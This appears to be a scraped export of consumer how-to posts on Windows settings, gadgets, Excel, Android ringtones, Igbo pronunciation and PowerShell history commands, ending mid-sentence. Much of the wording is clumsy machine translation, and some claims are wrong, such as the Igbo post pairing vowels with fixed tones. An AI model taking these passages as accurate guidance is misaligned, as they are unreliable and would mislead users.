WDR technology is something that you should consider because of its usefulness to you. So what is WDR? Let's find out with Mobile World through the article below!\nWide Dynamic Range (WDR) technology is a technology built into a camera or webcam to help the camera record better in conditions with a large range of noise caused by light such as anti-backlight, providing clear images. sharp in environments with strong background light (too dark or too bright).\n  WDR makes photos more realistic.\nWDR with advanced sensors will help cameras, webcams, and cameras record in a larger light range, including both bright and dark areas in the same frame.\nThen, the exposure balance function automatically brightens the dark areas and darkens the highlights so that the light is balanced and evenly distributed for the clearest possible image.\n  WDR balances light for best image quality.\nWDR-enabled cameras will record clear images when the target is observed in locations with strong light intensity.\nWDR supports the camera to limit the impact of sudden light changes to increase the recognition of the target to be observed in places such as underground parking lots.\nSome medical devices also use WDR to help get more accurate and clear images.\n  Hope you have grasped the knowledge about WDR through the above article, if you have any information or questions that need to be better understood, please comment below for our support!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWnmb9uwMScn6ennKS0ug%3D%3D\n","link":"/post/what-is-wdr-technology/","section":"post","tags":null,"title":"What is WDR technology?"},{"body":"Acer Swift 3 S is the latest thin and light premium laptop from Acer, which is rated as a \"super product\" for office workers.\nAcer Swift 3 S is designed with a compact aluminum casing, ultra-thin screen border of only 3.9mm, weight 1.19kg. Swift 3 S is available in gray and pink.\n  It has an edge-to-edge screen with IP panels, has a full HD resolution, brightness up to 300 nits, 72% NTSC color coverage, combined with Acer Color Intelligence technology to bring vivid and sharp colors for frame by frame.\n  The most outstanding feature of Acer Swift 3 S is the impressive battery life, up to 11 hours of continuous use. Swift 3 S is equipped with fast charging technology, giving 4 hours of continuous use after only 30 minutes of charging. The keyboard light of the device allows users to work in low light easily.\n  Acer Swift 3 S has outstanding processing power thanks to its latest 10th-generation Intel Core i processor. It has 8GB of RAM and a 512GB PCIe NVMe SSD storage. Swift 3 S is fully equipped with universal ports, especially the USB Type-C connector of the machine is built with Thunderbolt 3 technology for data transfer speeds up to 40GBps. The latest Acer Swift 3 S supports wifi 6, which reduces interference by up to 75%, increases network speed by 3 times, ensures a constant and stable connection.\n  Acer 3 Swift is included in the list of 3S1 VIP warranty: fast warranty within 3 days including Saturdays and Sundays, 1 for 1 if the warranty period lasts more than 3 days.\nThe selling price of Acer Swift 3 S is from VND 18,990,000 at dealers of Acer products nationwide.\nSamsung launched the Galaxy Book Flex and Ion duo, the first laptop with an QLED screen, wireless reverse charging Windows 10X will be available for laptops as well, these are the first images of this operating system ncG1vNJzZmismaXArq3KnmWcp51krqSx0WaqsKGWqXp0edJmrKWsopa5qrPHrWSlmaCpvLF5wKebZmlhnby2voybmK2slafGbrjIn5w%3D\n","link":"/post/acer-swift-3-s-ultra-light-laptop-and-11-hour-battery-life/","section":"post","tags":null,"title":"Acer Swift 3 S, ultra-light laptop and 11-hour battery life"},{"body":"Computer screen brightness, laptop affect your eyesight and laptop battery life. Therefore, you should adjust the screen brightness of your computer and laptop accordingly. Although the adjustment increases the brightness of the computer screen, the laptop is quite simple but not everyone knows. In the article below, Network Administrator will guide you 3 ways to adjust screen brightness on Windows 7.\nThe following article shows you how to adjust the screen brightness of Windows 7 . If you are using a Windows 10 computer, and you want to adjust the computer screen brightness to protect your eyes and extend laptop battery life, you can refer to the steps in the article below.\nTutorial 4 ways to adjust the screen brightness of Windows 10 Enable / disable the Windows 10 screen brightness control feature Ways to adjust screen brightness on Windows 7 1. Using the Brightness slider (on Laptop) 2. Restore lost Brightness Slider (on the laptop) 3. Use f.lux to adjust Monitor (for both Laptop and computer) 1. Using the Brightness slider (on Laptop) Note: This method is only applicable on Laptop\nStep 1: Click to select Power Options icon in the system tray (System Tray). This icon is like a laptop battery icon. If the Power Options icon is not displayed on the system tray, on the Start Menu, open Control Panel , then select Power Options.\n  Step 2: Click the Adjust screen brightness link to open the Power Options window.\n  Step 3: Adjust the screen brightness as you like on the slider at the bottom of the screen. You can adjust the screen brightness down to extend your Laptop battery life.\n  2. Restore lost Brightness Slider (on the laptop) Step 1: Click to select Start Menu then enter .devmgmt.msc on the Search frame, then press Enter to open Device Manager. In Device Manager you can control and adjust all hardware installations on your laptop. Missing Brightness Slider slider may be due to software error or Driver error, you can control on Monitor.\n  Step 2: Expand Monitor. On the screen you can see a list of different items including Disk drives, Display adapters, Keyboards (keyboards) . Click the arrow next to expand Monitor.\n  Step 3: Right-click Monitor select Properties .\n  Step 4: Click the Driver tab .\n  Step 5: Click the Uninstall button. Now a new window will appear, in this window, check the box Delete the driver software for this device and then click OK to confirm.\n  Step 6: Wait a few minutes to uninstall the Driver. This process will take several minutes. After the driver has been removed, the Device Manager list will be refreshed. You should now see the Monitor item disappear.\n  Step 7: Click the Scan for hardware changes button in the corner of the same Device Manager. This is a small square button with an image of a magnifying glass in front of the computer icon. Click this button to scan for new hardware installed on your system (or in your case, the driver does not have Driver installed).\n  Step 8: Confirm Monitor is displayed again on the list. After Device Manager scans the changes, it automatically reinstalls the basic Microsoft Driver on your screen to reactivate the Brightness Slider sliders.\n  Step 9: Restart your computer.\n  Step 10: After your computer has restarted, click on Power Options in the system tray to find the restored Brightness Slider slider to adjust the screen brightness.\n  3. Use f.lux to adjust Monitor (for both Laptop and computer) Step 1: Download the software f.lux. f.lux is a program that automatically adjusts colors based on the time of day and lighting in your room. The program can adjust your screen brightness easier to see at night. Download F.lux to your device and install it here.\n  Step 2: After downloading f.lux, double click on the installation file to install the program.\n  Step 3: Choose your location. f.lux uses your location to automatically switch colors on the screen when the sun rises and the sun sets in the area you live in.\n  Step 4: Choose the light in your room. Notify f.lux what kind of light you have to allow to make the colors on the screen to program the light in the room. This makes the screen less harsh at night, but normal during the day.\n  Step 5: Update your graphics card driver if f.lux is not working properly. This is the easiest way to fix most errors that may occur with f.lux.\n  You can refer to some of the following articles:\nHow to disable / enable Windows Firewall in Windows 7, 8 How to switch to Vietnamese interface for Windows 7 2 steps to open virtual keyboard in Windows XP / 7/8 / 8.1 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51krqW21KyrZquTp7KmuoybqaKfmKm7pr%2FSZqafZaeeu6W71qxkcGWfo3qxr4ylmKmsn6U%3D\n","link":"/post/adjust-screen-brightness-of-windows-7-on-pc-laptop/","section":"post","tags":null,"title":"Adjust screen brightness of Windows 7 on PC, laptop"},{"body":"And recently, the software company continues to send users the Curtains tool, a solution that helps users easily customize the look of Windows.\nUnlike other tools, Curtains supports changing the user interface on Windows. And these changes are applied directly to other software and applications into a unified whole. In addition, using Curtains is extremely easy and does not go through many intensive tweaks so you can freely \"create\" the Windows interface as you like without encountering any incompatible cases or adjust the screen resolution at all.\nThis article will guide you how to use Curtains.\n1. Create a backup point and restore the system The use of software related to personalizing the Windows interface can sometimes cause system crash problems, so the first step you should take before making any changes is to create a star point. Save and restore the system. As follows.\n Step 1 : Enter the keyword \"Control\" into Cortana and click on the Control Panel result.\n Step 2 : Find and click the \"Backup and Restore (Windows 7)\" option in the System and Security group.\n Step 3 : Click the \"Set up backup\" option\n Step 4 : Wait a few seconds for this feature to start. When finished, the partition selection window to store the backup will appear. Click on the partition you want to \"select the gold deposit side\", then click Next to move to the next step.\n Step 5 : Check the \"Let me choose\" checkbox to be more proactive in selecting things to be backed up yourself.\n Step 6 : Please check the data types, as well as select the partition to back up.\n Step 7 : When everything is right according to what you set, just click \"Save settings and run backup\" to save and allow the backup feature to be launched.\n When you need to restore, just go to \"Backup and Restore (Windows 7)\", click on the \"Restore my files\" option and choose the time when the backup is completed.\n2. How to install and use Stardock's Curtains Like other Stardock tools, users can own Curtains copyright keys for nearly $ 10. However, you can get a free trial for a period of 30 days before deciding. See more and download Curtains\u0026nbsp; here.\n After downloading, launch the package to start installing Curtains.\n Installing Curtains is also quite simple and does not take much time.\n After installation is complete, you need to start the software and select the interface package you like in the list of interfaces provided by Curtains. Or you can download additional skins via the \"Online\" option.\n In addition, as mentioned above, Curtains also gives users the ability to personalize intensive interface for Windows through options designed extremely optimized and easy to use. When you're done, just press \"Apply changes\" and you're done.\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZrGfqr9uu9anZKKmpJq%2Fp63CnmSfp6JixKq6w6iurGVhZXq4tdOhZKyskaexsK%2FKZpquqqSWtq%2B%2F\n","link":"/post/create-your-own-interface-for-windows-10-with-stardock-curtains/","section":"post","tags":null,"title":"Create your own interface for Windows 10 with Stardock Curtains"},{"body":"Instead of having to use the pre-installed music on your device that might be boring for you, using a 3rd party app will help you create impressive ringtones with your favorite tunes. . Today, the Network Administrator will guide you how to create ringtones on Android with the simplest application to make ringtones Ringtone Maker - One of the most popular ringtone maker applications today, you can cut and customize Easy with this tool.\nHow to create ringtones from Zing MP3 Android Top 5 best free ringtone download websites Small tips for adding background music when opening apps on Android Guide to creating ringtones for Android with Ringtone Maker Step 1:\nDownload and install the Ringtone Maker application on your Android phone. Ringtone Maker for Android is a completely free tool. You can download Ringtone Maker for free to use by clicking the link below.\nDownload the Ringtone Maker app for Android Step 2:\nThe above process is complete, you start Ringtone Maker, you will see the application displays the entire list of songs in the machine for you to choose your favorite song as a ringtone.\n  Step 3:\nOnce you've selected the song you want to set as a ringtone, click the . icon next to the song name as shown below. Then, click on the 'Edit' box to proceed to cut the music.\n   Step 4:\nAt the Edit interface that has just appeared, Ringtone Maker will allow you to choose any part of the song as your ringtone using two bars above and below, moving them left or right. Go to your favorite piece of music and click on the Play icon at the bottom to listen to the cut music again.\n  Or if you know the start and end time of the music you can fill it directly into the 'Start' box and 'End' will be much faster.\n  Step 5:\nOnce you have chosen the music you want, click on the square in the upper right corner of the screen to save it.\n  Next, in the Type section there will be a lot of options for you such as: Save music to your device, set alarm music, set notification music and set a ringtone. Specifically:\nSelect Ringtone if you want this song to be set as a ringtone. Notifications if you want to set as notification music. Alarm if you want to set as an alarm.   You can also rename or leave the default. Then, click on the 'SAVE' box to create a new ringtone.\n  So, you have completed the steps to customize a song you like into a ringtone for your Android phone. Very simple, right? Hopefully this small trick will help you feel happier and more interesting when your mobile phone has an incoming call with the super cool ringtones created by you. With iOS users, you can also create iPhone ringtones to refresh your dull ringtone melodies. Wishing you all the best and unique ringtones!\nSee more:\nThe best free music download apps on Android 11 free music player apps for Android phones Prepare funny music videos on the phone with Ditty ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyroKefpKS7pr%2BMqKVmmZ6Zv7C1w2aYrGWppMJuuMiknGavmam1br7Ip56tp56aeq6typ6p\n","link":"/post/how-to-create-ringtones-on-android-as-you-like-with-ringtone-maker/","section":"post","tags":null,"title":"How to create ringtones on Android as you like with Ringtone Maker"},{"body":"When working with Excel tables, there are many basic operations that users need to understand to handle tables faster and more fluently. Adding columns or deleting columns in Excel is one of the basic operations that every beginner will practice. After creating an Excel table, you need to create a new Excel column, or delete an Excel column with unnecessary data, instead of hiding the column in Excel. The following article will guide you how to delete and add columns in Excel 2007, 2010, 2013, 2016, 2019. In general, the operation will be the same as deleting and adding columns in Excel 2003.\n1. Instructions to add Excel columns Method 1:\nClick on the current column position and right click, select Insert . With the addition of a column in Excel, the new default column will always be left with the column that is clicking.\n  Immediately a new column E was displayed on the left hand side of the original column F that was clicked. The original mouse column will push to the right.\n  Method 2:\nIn any cell in a column that users want to add a new column to the left, press the right button and select Insert .\n  Display a new dialog box with various options, we click on Entire Column to insert a column in Excel. And the result also shows a new left column at the mouse column click.\nNote that if you want to add more than 1 Excel column, you need to select 2 existing columns or highlight 2 cells of 2 adjacent columns to add 2 new columns on the left, with the same method.\n  2. How to delete columns in Excel To delete any column in Excel, we select the column and right-click , then click Delete to delete the Excel column is finished. Or, click the column and then press Ctrl + - to delete the Excel column.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyam51lk6S5trnNrGSipl2axaSxyw%3D%3D\n","link":"/post/how-to-delete-add-columns-in-excel/","section":"post","tags":null,"title":"How to delete, add columns in Excel"},{"body":"By default, Windows will use the index when searching to give you faster search results. The search index includes only the locations you have selected. These locations can be filtered by the type of file (extension), file attributes, and the file content you want to index.\nIndexing encrypted files The index uses the Windows Search service and runs as the Searchindexer.exe process in the background. The index automatically rebuilds and updates the changes made to the included locations, since the last indexing to increase the accuracy of the search results. By default, indexing speed is reduced due to user activity. If the computer is idle, the indexing speed will return to its maximum to complete indexing faster.\nWindows Search 4.0 and above fully supports indexing of encrypted files on local file systems using EFS, allowing users to index and search properties, as well as the content of encrypted files. chemistry. Users can configure Windows Search manually to include encrypted files or the admin can configure this option with Group Policy.\nWindows Search ensures that only authorized users can search the contents of encrypted files, by following ACLs and restricting access for users who have the rights to decrypt files. In addition, Windows Search only limits access to encrypted files for local searches. Windows Search does not return encrypted files in search results when the query is started remotely.\nHow to enable / disable Index Encrypted Files feature in Windows 10 This guide will show you how to enable or disable the Index Encrypted Files feature for indexing encrypted files in Windows 10.\nNote : You must be logged in as an administrator to make changes.\nFor security reasons, the Index Encrypted Files feature should not be enabled unless the search index location itself is protected by encrypting the entire volume (such as BitLocker Drive Encryption or a 3rd party solution).\nHere's how:\n1. Open Control Panel (icon view), click the Indexing Options icon and close Control Panel.\n2. Click the Advanced button .\n3. Follow step 4 (to turn on) or step 5 (to turn off) below for what you want to do.\n4. To enable Index Encrypted Files:\nA) Check the Index encrypted files box.\nB) If the index location is not encrypted, click Continue if you are sure.\nC) Go to step 6 below.\n5. To turn off Index Encrypted Files:\nA) Uncheck the Index encrypted files box.\nB) Click OK.\nC) Go to step 6 below.\n6. Click OK to apply the changes.\n7. The search index will now be rebuilt to update changes.\n8. Click Close.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYydoKyZkqGybrXNnZyxZZWjsLPFz62cnWWWnrmmv4yfnJqspaeybrXNZq6ippSkxLR5kGk%3D\n","link":"/post/how-to-enable-disable-index-encrypted-files-feature-in-windows-10/","section":"post","tags":null,"title":"How to enable / disable Index Encrypted Files feature in Windows 10"},{"body":"Downloading files is one of the primary uses of the Internet. You can find virtually anything online, and chances are you've been downloading files ever since you started using your computer. Your Operating System will attempt to put all...\nMethod 1of 4:\nFinding your Windows Downloads  Check your Downloads folder. Windows includes a Downloads folder that acts as the default download location for most programs for every user. There are a couple of ways you may be able to find your Downloads folder: Click the Start menu and then click your user name. You should see a Downloads folder in the window that opens. Open Windows Explorer ⊞ Win+E. Your Downloads folder may be listed in the left frame under \"Favorites\" or \"Computer/This PC\". Press ⊞ Win+R and type shell:downloads. Press ↵ Enter to open the Downloads folder.   Check other locations. If you download with a lot of programs, chances are that your downloads have become a bit spread out. Other popular places for your downloads to appear are your Desktop and your Documents/My Documents folder. If you have a secondary drive that acts as a file storage, check to see if you've created a download folder on it as well.   Search for the file. If you know the name of the file you downloaded, you can search for it to quickly open it. Press ⊞ Win and start typing the name of the file. You should see it appear in the search results.\n  Open your downloaded files. You shouldn't have much difficulty opening most files that you download online, but you may run across a few file types that can give you problems. See the guides below for details on opening these troublesome files. Playing MKV video files Burning ISO image files Extracting RAR files Using BIN files Downloading a Torrent file  Method 2of 4:\nFinding Your OS X Downloads  Check your Downloads folder. OS X includes a Downloads folder that acts as the default download location for most programs for every user. There are a couple of ways you may be able to find your Downloads folder: Click your Downloads folder in your Dock. Click the Go menu and select Downloads Open a Finder window. Press ⌥ Opt+⌘ Cmd+L to open the Downloads folder.   Check other locations. Downloaded files have a tendency to get spread out across your computer over time, especially if you use a lot of different programs to download. Some other popular places for your downloads to appear include your Desktop or in your Documents folder. If you have a secondary drive that acts as a file storage, check to see if you've created a download folder on it as well.   Search for the file. If you know the name of the file you downloaded, you can search for it to quickly open it. Open a Finder window and press ⌘ Cmd+F to open the search bar. Start typing in the name of the file and select it from the search results.\n  Open your downloaded files. You shouldn't have much difficulty opening most files that you download online, but you may run across a few file types that can give you problems. See the guides below for details on opening these troublesome files. Playing MKV video files Burning ISO image files Extracting RAR files Using BIN files Downloading a Torrent file  Method 3of 4:\nManaging Chrome Downloads  Open your Downloads list. You can open a list of your recent downloads in Chrome by clicking the Menu button (☰) and selecting Downloads, or by pressing Ctrl+J (Windows) or ⌘ Cmd+J (Mac).\n  Browse the list of recent downloads. Chrome stores download history for a few weeks unless it's been cleared. Clicking any item in the list will attempt to open it (if it still exists). You can also click the \"Show in folder\" link to open the folder with that particular file selected.\n  Open your Downloads folder. Click the \"Open downloads folder\" link in the upper-right to open the folder that Chrome downloads your files to. By default, this is the Downloads folder in your user directory.\n  Change your Chrome Download folder. Click the Chrome Menu button (☰) and select Settings. Scroll down and click the \"Show advanced settings\" link. In the \"Downloads\" section, you can set a new folder for your Chrome downloads to be placed by clicking Change.... You can also choose whether Chrome should prompt you to save a file when downloading.  Method 4of 4:\nManaging Firefox Downloads  Open your Recent Downloads list. Click the down arrow button in the top-right corner of the Firefox window. This will display your recent downloads. Clicking on a file in the list will open it (if it still exists). Clicking on the folder icon next to the file will open the folder with that particular file selected.\n  Open the Downloads Library. In the Recent Downloads list, click \"Show All Downloads\". This will open the Firefox Library, with the Downloads tab selected. All of your stored downloads will be shown here. You can use the search bar to find something specific.\n  Change your Firefox Download folder. Click the Firefox Menu button (☰) and select Options. Click the \"General\" tab. You can change the folder that your downloads are saved to by clicking Browse... You can also choose whether Firefox should prompt you to save a file when downloading.   Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtusM6wpaWnkZnA\n","link":"/post/how-to-open-downloads/","section":"post","tags":null,"title":"How to Open Downloads"},{"body":"Old phones in general or old iPhones in particular are used products with many different conditions that make you do not know the quality and it is difficult to test it.\nChecking old iPhone before buying will help you avoid the risk of machine failure, construction goods, parts replaced, . so you can feel more secure when buying an old iPhone but still achieve the best quality. .\nCheck out the appearance of the front, back, and bezel. Appearance is the first thing that concerns old iPhone buyers.\nYou need to carefully check the look of the machine, pay attention to the\u0026nbsp; 4 corners of the phone border to \u0026nbsp;see if it is distorted, scratched,\u0026nbsp; the back \u0026nbsp;is concave due to the impact.\n  To test the iPhone screen, try setting the wallpaper of the iPhone to black to see if the screen is\u0026nbsp; exposed \u0026nbsp;or not.\nThen you move into the white background to check for smudges or may occur\u0026nbsp; phenomenon\u0026nbsp; \" negative image \".\nImage image is the condition in which the screen will save the images you are manipulating, especially when using the camera for a long time and it gets hot.\nTo check if the iPhone screen has been replaced, take 1 piece of white sticky tape on the screen. If you lift up the tape and do not eat much, it is a standard screen, but if it is difficult to remove the tape from the screen, the screen is most likely\u0026nbsp; replaced .\n  You can check the iPhone's touch screen by tapping an icon and moving it full screen, if in a certain position the icon stops, there may be a problem there. .\n  The hard keys such as \u0026nbsp;the Home key ,\u0026nbsp; the volume \u0026nbsp;are used quite a lot and throughout the process of experiencing the machine. Therefore, you should carefully check the hard keys before buying, do not choose to buy products with hard keys that are difficult to press, skewed and have low sensitivity, .\n  iCloud\u0026nbsp; is a service used to synchronize data such as messages, photos, . between devices using iOS together with the Find My iPhone feature to restrict users from buying or using iPhone devices. stolen.\nTo check iCloud, \u0026nbsp;reset your iPhone \u0026nbsp;by:\nStep 1 : Go to\u0026nbsp; Settings \u0026nbsp;\u0026gt; Select\u0026nbsp; General .\nStep 2 : Select\u0026nbsp; Reset \u0026nbsp;\u0026gt; Tap\u0026nbsp; Erase all content and settings \u0026nbsp;\u0026gt; Select\u0026nbsp; Backup then delete \u0026nbsp;or\u0026nbsp; Erase now .\nChecking the iPhone IMEI is very important and cannot be ignored to make sure the iPhone you are about to buy has not been replaced. There are 2 ways to check IMEI, namely:\nOption 1 : You can open the caller and enter * # 06 # syntax\u0026nbsp; \u0026nbsp;to get IMEI iPhone.\nMethod 2 : On your iPhone, go to Settings\u0026gt; General\u0026gt; About then scroll down to find the IMEI item to check.\n  Make a phone call and then listen to see if the speaker is in and turn on the speaker to check.\nNext, to check the sensor, you still leave the phone calling like that and cover the sensor with your hand if the screen turns off, opening the screen back to normal which means the light sensor is active. good.\n  - Insert your\u0026nbsp; SIM \u0026nbsp;and try to make or receive calls to check the quality of the speakerphone.\n- Turn on music or video to check the status of the speakerphone.\n- Use the photo capture application, check the quality of the front camera, the rear camera, the ability to autofocus to ensure the camera is working well.\n- Plug in the device's accessories such as\u0026nbsp; charger cable ,\u0026nbsp; charger ,\u0026nbsp; headset , . to see if it works normally or not.\n  The above article has shown you how to test your old iPhone before you buy. Hope the article will help you!\nGood luck.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqmlnrCsuNhmmKecXZawpMHRmquepKlisKmxwqRkmqZdpLmlecipn6imlWKvprLOq5xmmqWutq%2Bz\n","link":"/post/how-to-quickly-and-accurately-check-an-old-iphone-before-buying/","section":"post","tags":null,"title":"How to quickly and accurately check an old iPhone before buying"},{"body":" The Igbo language is spoken by more than 27 million people in Nigeria and Equatorial Guinea and is recognized as an official minority language in both countries. If you want to learn to speak Igbo, start with the alphabet. While many...\nMethod 1of 3:\nPronouncing the Igbo Alphabet Start with the 5 familiar vowels. There are a total of 8 vowels in Igbo. If you speak English or another European language, these 5 letters will be familiar to you. However, in Igbo, these letters have only one sound. They sound the same regardless of where they appear in a word. The first 5 vowels are:[2] The letter \"a,\" which makes an \"ah\" sound, similar to the \"a\" in the English word \"father.\" The letter \"e,\" which makes an \"eh\" sound, similar to the \"e\" in the English word \"get.\" The letter \"i,\" which makes an \"ee\" sound, similar to the \"ee\" in the English word \"beet.\" The letter \"o,\" which makes an \"oh\" sound, similar to the \"o\" in the English word \"go.\" The letter \"u,\" which makes an \"oo\" sound, similar to the \"oo\" in the English word \"boot.\"  Change the sound of 3 vowels if they have a dot under them. The additional 3 vowels in Igbo are the letters \"i,\" \"o,\" and \"u,\" but with a dot underneath them. The dot indicates that these letters are pronounced differently[3] The letter \"ị,\" which makes an \"ih\" sound, is similar to the \"i\" in the English word \"fit.\" The letter \"ọ,\" which makes an \"aw\" sound, is similar to the \"au\" in the English word \"author.\" The letter \"ụ,\" which makes an \"uh\" sound, is similar to the \"oo\" in the English word \"soot.\" Tip: In writing, an upper-case \"ị\" is written with a dot over it also, the same as the lower-case. However, the upper-case is slightly larger than the lower-case letter.\n Add consonants that sound roughly the same in Igbo as in English. If you speak English, you won't have any trouble pronouncing most of the consonants in Igbo, because the letters make the same sound as the English letters. However, since Igbo letters always make the same sound regardless of where they appear in a word, some consonants are more restricted than their English counterparts.[4] The letter \"g\" makes a hard \"g\" sound, similar to the \"g\" in the English word \"get\" (never a soft \"g,\" as in the English word \"manage\"). When the letter \"n\" has a \" ˜ \" over it, as in \"ñ,\" it sounds like the \"n\" in the English word \"song,\" but more nasal. The letter \"j\" is pronounced similar to the English hard \"j,\" but sounds more like the \"dg\" in the English word \"bridge.\" The letter \"m\" is a nasal letter that always sounds like the \"m\" in the English word \"him\" (never a hard \"m,\" as in the English word \"miracle\"). The letter \"r\" does not sound like the English \"r.\" Pronounce it by snapping your tongue quickly on the roof of your mouth just behind your front teeth. It makes a sound similar to the \"t\" in the English word \"water.\"  Work on consonants that don't exist in English. Igbo has 8 additional consonants that technically don't appear in English, although many of them sound the same as English consonant blends. While they look as though they are made up of 2 consonants, they are treated as 1 letter in the Igbo language.[5] The letter \"ch\" sounds similar to the \"ch\" in the English word \"cheese.\" The letter \"sh\" sounds similar to the \"sh\" in the English word \"ship.\" The letter \"kw\" sounds similar to the \"qu\" in the English word \"queen.\" The letter \"ny\" sounds similar to the \"ny\" in the English word \"canyon.\" The letter \"gw\" sounds similar to the \"gw\" in the Welsh name \"Gwyn.\" The letter \"nw\" makes a sound that doesn't exist in English. It sounds somewhat like the \"waah\" you might use to describe a baby's cry, but more nasally. The letter \"gb\" makes a sound that doesn't exist in English. To approximate this sound, pronounce a \"b\" while shaping your mouth as you would to pronounce a \"g.\" The letter \"kp\" makes a sound that doesn't exist in English. To approximate this sound, pronounce a \"p\" sound while shaping your mouth as you would to pronounce a \"k.\"  Exhale a puff of air when a letter is followed by a \" ' .\" The character \" ' \" looks similar to an apostrophe in English. However, in written Igbo, this character tells you to aspirate — that is, to exhale a short puff of air as you pronounce the consonant preceding it. If you speak English, you may naturally aspirate after some of these consonants, although others will be new to you.[6] For example, you're likely familiar with aspirating while pronouncing a \"k\" (as in the English word \"kick\") or \"g\" (as in the English word \"get\"). For some letters, on the other hand, it can be difficult to get the flow of breath correct, such as with an aspiration after the letter \"d\" or the letter \"j.\" It can take some practice to get the sound and the pronunciation right. Tip: Practice saying the letters while holding a tissue or a piece of paper in front of your mouth. If it moves after you pronounce the consonant, you're aspirating correctly.\n Method 2of 3:\nPracticing Igbo Tones Listen to spoken Igbo to identify high and low tones. The Igbo language has 2 tones: a high tone and a low tone. Particularly if you're coming from English or another European language, you might have difficulty with a highly tonal language such as Igbo. Listening to native speakers will help you understand the tones and how to pronounce them.[7] Tones are extremely important in Igbo and can change the definition of a word that is otherwise spelled the same. Contrast this with English, in which the tone of your voice generally only rises or falls to express emotion, or if you're asking a question. Tip: Technically there is also a middle tone, but this is only used when you have two high tones or two low tones right next to each other in a word.\n Change the position of your tongue to pronounce the tones. Igbo tones are high or low in relation to the preceding syllable. The real difference in the way the tone is pronounced is the position of your tongue when you speak.[8] For the high tone, bend your tongue towards the roof of your mouth as you pronounce the syllable, similar to how you would when pronouncing the English word \"rule.\" For the low tone, flatten your tongue low against the bottom of your mouth as you pronounce the syllable, similar to how you would when pronouncing the English word \"father.\"  Group the vowels into high and low tone groups. Vowels are the foundation of Igbo tones. The 8 vowels are split into 2 groups, referred to as closed vowels and open vowels. With closed vowels, your jaw is more tense, whereas it is naturally more lax when pronouncing open vowels. There are 2 closed vowels and 2 open vowels in each tone.[9] The closed vowels \"i\" and \"u\" and the open vowels \"ị\" and \"ụ\" have a high tone. The closed vowels \"e\" and \"o\" and the open vowels \"a\" and \"ọ\" have a low tone.  Decline your pitch level in steps as you speak. \"High\" and \"low,\" when used to describe Igbo tones, don't refer to an absolute pitch level. Rather, the pitch is either high or low relative to the preceding syllable. As you speak a phrase or sentence, your pitch gets progressively lower.[10] If you listen to native speakers, you'll gradually pick up on this. Search for Igbo language videos on YouTube or similar sites and simply listen. After listening, try to mimic their speech. Copy not only what they say but how they say it.  Method 3of 3:\nHaving Simple Conversations Use \"kedụ\" as a general greeting. Having conversations with native speakers, either in person or online, is the best way to quickly learn how to speak any language. If you want to speak to a native Igbo speaker, start by saying \"kedu,\" which means \"hello.\"[11] \"Kedu\" is a rather all-purpose greeting that also means \"how are you?\" To ask after the person's well-being separately, though, you could add \"kedụ ka ọ dị?\" or \"kedu ka ịmere?\" To reply to either of those phrases, say either \"ọ di mụ mma\" or \"a di mụ mma.\"  Switch up your greeting based on the time of day. Like most other languages, in addition to the general greeting, there are also Igbo greetings that are only used at specific times of the day. These greetings are:[12] \"Ụtụtụ ọma\" (good morning) \"Ehihie ọma\" (good afternoon) \"Mgbede ọma\" (good evening) Tip: If someone says one of these greetings to you, the proper reply is \"ndewo,\" which basically means \"same to you.\"\n Say \"aham bu\" followed by your name to introduce yourself. The phrase \"aham bu\" means \"my name is.\" There's no need to attempt to \"translate\" your name into Igbo — just pronounce it however you normally would.[13] To ask the person their name, say \"Kedu aha gị?\" When the other person introduces themselves, you might say \"ọ dị m obi ụtọ izute gị,\" which means \"pleased to meet you.\"  Ask questions to get to know the person better. The best way to keep a conversation going is to ask the person questions so they can talk about themselves. Some basic Igbo questions you might ask are:[14] \"Kedụ ebe ị si?\" (Where are you from?) \"Kedụ ebe ị bi?\" (Where do you live?) \"Gịnị ka ị na arụ?\" (What do you do for a living?) \"Arọ one k'ịdị?\" (How old are you?)  Let the person know if you don't understand what they're saying. When you're talking to a native speaker, they might speak too fast or use words that you don't know yet. If you need some help understanding them, you might say:[15] \"Gịnị ka ị chere?\" (What do you mean?) \"A ghọtaghị m\" (I don't understand) \"Kedụ ihe a n'akpọ okwu a na asụsụ bekee?\" (What does that word mean in English?) \"Biko, jiri nwayo kwuo okwu\" (Please speak more slowly) \"Biko, kwuo ihe i kwuru ozo\" (Please say that again)[16]  Include polite words and phrases to show respect. When you're chatting with native speakers, they'll be much more patient with you if you're polite. Be respectful and mind your manners by including the following words and phrases in your speech where appropriate:[17] Biko (please) Dalụ (thank you) Ndewo (similar to \"you're welcome;\" reply to \"thank you\") Biko, chetu (excuse me, when getting someone's attention) Biko, e wel iwe (excuse me, when begging someone's pardon) Ndo (sorry)   Marvin Fry Update 04 April 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugmq6sedOhnGahl5e8brjAp56umZea\n","link":"/post/how-to-speak-the-igbo-language/","section":"post","tags":null,"title":"How to Speak the Igbo Language"},{"body":"Is there a way to see the command line history on all PowerShell sessions? Windows PowerShell allows you to see every command you have executed in the current session by using the Get-History command . But sometimes that is not enough. In this tutorial, TipsMake will show you how to view the entire command history from all previous sessions in Windows 10.\nHow to view command history from previous PowerShell sessions in Windows 10 1. To use the PowerShell command history view function, you first need to install the PSReadLine module with the command below.\nInstall-Module PSReadLine To use the PowerShell command history view function, you first need to install the PSReadLine module If you are prompted to install the NuGet Provider , enter Yand press Enter.\n2. Next, enter the following command to display the path to the file in which the PowerShell command history is saved.\n(Get-PSReadlineOption).HistorySavePath Shows the path to the file in which the PowerShell command history is stored 3. To view the detailed command history on the PowerShell console, run this command:\ncat (Get-PSReadlineOption).HistorySavePath 4. To delete all the history of PowerShell commands that you have entered, type the following command:\nRemove-Item (Get-PSReadlineOption).HistorySavePath The command clears all the history of PowerShell commands that you have entered 5. If you need to prevent PowerShell from saving command history, execute this command:\nSet-PSReadlineOption -HistorySaveStyle SaveNothing The command prevents PowerShell from saving command history 6. Whenever you want to configure PowerShell to keep track of all the commands you have executed, run the following command:\nSet-PSReadlineOption -HistorySaveStyle SaveIncrementally Above are the commands you can use to control the history of the commands used in Powershell.\nHope you are 